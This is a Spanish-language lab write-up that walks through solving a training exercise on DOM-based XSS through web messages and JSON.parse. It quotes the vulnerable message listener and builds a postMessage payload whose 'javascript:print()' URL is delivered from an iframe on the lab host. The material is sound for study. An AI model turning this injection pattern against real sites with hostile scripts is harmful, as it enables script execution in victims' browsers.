
Descripción
This lab uses web messaging and parses the message as JSON. To solve the lab, construct an HTML page on the exploit server that exploits this vulnerability and calls the print()
function.
DOM XSS using web messages and JSON.parse writeup
Al entrar al laboratorio y examinar su código fuente con Ctrl + U o Click derecho ->Ver código fuente de la página, veremos el siguiente script:
<script>
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
</script>
Este código toma el mensaje enviado (en formato JSON) y mira el valor del atributo ‘type’. Dependiendo de su valor realizará lo siguiente:
- page-load: Realizará scroll a la vista.
- load-channel: Cambia la URL a la proporcionada.
- player-height-changed: Cambia el ancho y largo de la página por los proporcioandos en el JSON.
De todos estos, nos interesa ‘load-channel’, puesto que en él podemos introducir JavaScript. Fabricaremos el siguiente JSON:
{
"type":"load-channel",
"url":"javascript:print()"
}
El problema es que las » son caracteres especiales, por lo que tendremos que usar ‘\’ para que pierdan su funcionalidad especial y el JSON las lea como comillas dobles normales, quedando el código así:
{
\"type\":\"load-channel\",
\"url\":\"javascript:print()\"
}
Crearemos entonces el siguiente código HTML:
<iframe src="https://0a85003d0458734f81d84315005b0080.web-security-academy.net/" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
Al pulsar ‘Deliver exploit to victim’ habremos completado el laboratorio:
